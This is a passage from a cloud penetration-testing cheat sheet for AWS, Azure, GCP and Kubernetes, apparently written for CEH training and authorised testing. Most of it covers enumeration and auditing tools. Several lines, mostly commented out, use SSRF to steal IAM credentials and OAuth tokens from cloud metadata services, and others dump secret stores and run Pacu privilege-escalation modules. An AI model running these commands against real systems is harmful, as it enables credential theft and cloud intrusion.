wget -O code.zip "$(aws lambda get-function --function-name <name> \
    --query 'Code.Location' --output text)"

# IMDS credential theft via SSRF
# curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-
data/iam/security-credentials/<role>"

# Check EBS encryption
aws ec2 describe-volumes \
    --query "Volumes[?Encrypted==`false`].VolumeId" --output text

```

```
aws ec2 get-ebs-encryption-by-default
```

```
# Check CloudTrail
```

```
aws cloudtrail describe-trails --include-shadow-trails
```

```
aws cloudtrail get-trail-status --name <trail-name>
```

Azure — Core Commands

```
# Authentication
```

```
az login
```

```
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
```

```
az account list --output table
```

```
az account set --subscription <id>
```

```
# Resource enumeration
```

```
az group list --output table
```

```
az vm list --output table
```

```
az storage account list --output table
```

```
az keyvault list --output table
```

```
az webapp list --output table
```

```
az functionapp list --output table
```

```
# Azure AD enumeration
```

```
az ad user list --output table
```

```
az ad group list --output table
```

```
az ad sp list --output table
```

```
az role assignment list --all --output table
```

```
az role assignment list --all \
  --query "[?roleDefinitionName=='Owner']" --output table
```

```
# Storage security
```

```
az storage container show-permission \
  --name <container> --account-name <account>
```

```
az storage account list \
  --query "[*].\
{Name:name,HTTPS:enableHttpsTrafficOnly,PublicAccess:allowBlobPublicAccess}" \
  --output table
```

```
# Key Vault
```

```
az keyvault secret list --vault-name <vault>
```

```
az keyvault secret show --vault-name <vault> --name <secret>
```

```
# Azure SSRF → IMDS token theft
```

```
# curl -s "https://target-app.azurewebsites.net/proxy?
url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-
01&resource=https://management.azure.com/" -H "Metadata: true"

# Prowler Azure
prowler azure --az-cli-auth --subscription-ids <id>
prowler azure --az-cli-auth --subscription-ids <id> --compliance cis_2.0_azure
```

GCP — Core Commands

```
# Authentication
gcloud auth activate-service-account --key-file=key.json
gcloud auth login
gcloud auth list

# Project enumeration
gcloud projects list
gcloud config set project <project-id>
gcloud projects get-iam-policy <project-id>

# Resource enumeration
gcloud compute instances list
gcloud functions list
gcloud run services list --platform managed
gcloud sql instances list
gcloud container clusters list
gcloud secrets list
gcloud secrets versions access latest --secret=<secret-name>

# GCS buckets
gsutil ls
gsutil iam get gs://<bucket>
gsutil acl get gs://<bucket>

# Service accounts
gcloud iam service-accounts list
gcloud iam service-accounts keys list --iam-account <sa-email>

# SSRF → GCP metadata server
# curl -s "https://target.appspot.com/fetch?
url=http://metadata.google.internal/computeMetadata/v1/instance/service-
accounts/default/token" -H "Metadata-Flavor: Google"
```

```
# Prowler GCP
```

```
prowler gcp --project-ids <id>
```

```
prowler gcp --project-ids <id> --compliance cis_3.0_gcp
```

Kubernetes — Core Commands

```
# Cluster access
```

```
export KUBECONFIG=/path/to/kubeconfig
```

```
kubectl cluster-info
```

```
kubectl get nodes
```

```
# Unauthenticated access test
```

```
curl -k https://<k8s-api-ip>:6443/api/v1/namespaces
```

```
# Enumerate everything
```

```
kubectl get pods --all-namespaces -o wide
```

```
kubectl get services --all-namespaces
```

```
kubectl get secrets --all-namespaces
```

```
kubectl get deployments --all-namespaces
```

```
kubectl get serviceaccounts --all-namespaces
```

```
kubectl get networkpolicies --all-namespaces
```

```
kubectl get all --all-namespaces
```

```
# Decode a secret
```

```
kubectl get secret <name> -o jsonpath='{.data.<key>}' | base64 --decode
```

```
# Check permissions
```

```
kubectl auth can-i --list
```

```
kubectl auth can-i --list --all-namespaces
```

```
# Find dangerous pods
```

```
kubectl get pods --all-namespaces -o json | python3 -c "
```

```
import json,sys
```

```
d=json.load(sys.stdin)
```

```
for p in d['items']:
```

```
    ns=p['metadata']['namespace']; name=p['metadata']['name']
```

```
    for c in p['spec']['containers']:
```

```
        if c.get('securityContext',{}).get('privileged'):
```

```
            print(f'PRIVILEGED: {ns}/{name}/{c["name"]}')

```

```
    for v in p['spec'].get('volumes',[]):
```

```
        if v.get('hostPath',{}).get('path')=='/var/run/docker.sock':
```

```
            print(f'DOCKER SOCKET: {ns}/{name}')
```

```
    if p['spec'].get('hostNetwork'): print(f'HOST NETWORK: {ns}/{name}')
```

```
if p['spec'].get('hostPID'): print(f'HOST PID: {ns}/{name}')
"
```

```
# Run kube-hunter
kube-hunter --remote <k8s-api-ip>
kube-hunter --remote <k8s-api-ip> --report json > kube-hunter.json

# Run kube-bench
docker run --pid=host --rm -v /etc:/etc:ro -v /var/lib:/var/lib:ro \
  aquasec/kube-bench:latest node
```

Multi-Cloud Automated Tools

```
# — PROWLER —
# AWS — full assessment
prowler aws --services s3 ec2 iam lambda cloudtrail guardduty vpc

# AWS — CIS Benchmark
prowler aws --compliance cis_1.5_aws

# Azure — full assessment
prowler azure --az-cli-auth --subscription-ids <id>

# Azure — CIS Benchmark
prowler azure --az-cli-auth --subscription-ids <id> --compliance cis_2.0_azure

# GCP — full assessment
prowler gcp --project-ids <id>

# GCP — CIS Benchmark
prowler gcp --project-ids <id> --compliance cis_3.0_gcp

# Kubernetes
prowler kubernetes --services etcd apiserver
```

```
# — SCOUTSUITE —
scout aws --profile <profile> --report-dir ./scoutsuite-aws/
scout azure --cli --subscription-ids <id> --report-dir ./scoutsuite-azure/
scout gcp --user-account --project-id <id> --report-dir ./scoutsuite-gcp/
```

```
# — PACU (AWS exploitation) —
# Start: pacu
# import_keys <profile>
```

```
# run iam__enum_users_roles_policies_groups
# run iam__privesc_scan
# run iam__assume_role
# run s3__get_bucket_acls
# run ec2__enum
# run lambda__enum

# — PMAPPER (IAM escalation paths) —————
pmapper graph create
pmapper query "who can become an admin"
pmapper analysis --output-type text
pmapper visualize --filetype png

# — TRIVY (container image scanning) —————
trivy image <image-name>:<tag>
trivy image --severity CRITICAL,HIGH <image-name>:<tag>
trivy image --format json --output trivy-results.json <image>:<tag>
trivy fs ./function-analysis/ --severity CRITICAL,HIGH
trivy k8s --all-namespaces --report summary

# — TRUFFLEHOG (secret detection) —————
trufflehog github --org=<org> --only-verified
trufflehog git https://github.com/<org>/<repo>.git --only-verified
trufflehog filesystem ./local-directory/ --json

# — NUCLEI (subdomain takeover, cloud misconfigurations) —————
nuclei -l subdomains.txt -t dns/subdomain-takeover/ -c 50
nuclei -l targets.txt -t cloud/ -c 50

# — S3SCANNER —————
s3scanner scan --bucket-file buckets.txt --enumerate --threads 40

# — GITLEAKS —————
gitleaks detect --source /path/to/repo --report-format json --report-path
report.json

# — SUBFINDER + AMASS —————
subfinder -d target.com -all -o subdomains.txt
amass enum -passive -d target.com -o amass_subs.txt
```

Quick Reference — Severity Classification

Severity	Examples
 Critical	Public S3 bucket with sensitive data, unauthenticated Docker API, IAM admin credential theft via SSRF, unauthenticated Kubernetes API, Lambda with admin role + secrets in env vars, Golden SAML, Cognito unauthenticated credentials
 High	IAM privilege escalation path exists, IMDSv1 enabled without SSRF, CloudTrail not multi-region, MFA not enforced on privileged accounts, unencrypted RDS/EBS, SSH/RDP open to internet, subdomain takeover
 Medium	S3 logging disabled, old access keys (90+ days), overly broad IAM policies, Key Vault soft delete not enabled, no VPC Flow Logs, CORS <code>AllowedOrigins: ["*"]</code>
 Low / Info	Missing versioning on non-production buckets, TLS 1.1 (with 1.2 also available), verbose error messages, unnecessary services enabled

Cloud Security Testing Guide (CSTG) Built for CEH v13 | Cloud VAPT | AWS · Azure · GCP · Kubernetes · Docker · Serverless All techniques require explicit written authorisation before use.